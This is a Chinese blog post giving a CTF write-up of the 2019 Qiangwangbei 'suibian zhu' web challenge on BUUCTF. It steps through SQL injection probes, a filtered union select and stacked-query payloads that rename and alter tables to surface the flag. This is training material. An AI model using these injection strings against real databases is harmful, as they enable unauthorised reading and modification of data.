强网杯 2019 随便注

前言

最近重新开始刷CTF题目,去BUUCTF题库刷web题,刷了这道“随便注”

 

刷题思路

输个1看看,发现回显

 

来个单引号看看

 

 

发现报错,知道了是字符型注入

再来个常规的 or 1=1 #

 

确定存在注入,爆一下字段:

输入order by 3的时候报错,所以字段只有两个

 

继续常规测试,1' union select 1,2#

 

 发现被正则过滤了,尝试了几个常规的注入绕过,没取到啥效果,找了一下,发现可以试一下堆叠注入。

提交1'; show databases;

 

 

 发现成功执行,继续查看表名

 

看看words的列

 

 

 可以看到出现了两个字段,一个id,一个data,而在我们一开始测试输入的时候可以看到是有两个类型的字段,我们输入的值,返回的也是两个数据

再看一下1919810931114514这个表的列

1'; show columns from `1919810931114514`;

可以看到只有一个值,确定了我们的数据是从words里面出来的,语句大概样子可能是这样写的,也不是很准确:select * from words where id ="";

所以可以有个思路,把1919810931114514这个表改成words,这样执行语句的时候就会读到里面的内容了

构造payload:

1';alter table `1919810931114514` add column id int(10) NULL; rename table `words` to `111`;rename table `1919810931114514` to `words`;

 执行之后回显是什么都没有的

 

因为字段id是空的,所以输入1是不存在回显的,直接用一个万能密码解决

1' or 1=1#

  

 

posted @ 2020-09-26 10:50  EZ4s1mple  阅读(106)  评论(0)    收藏  举报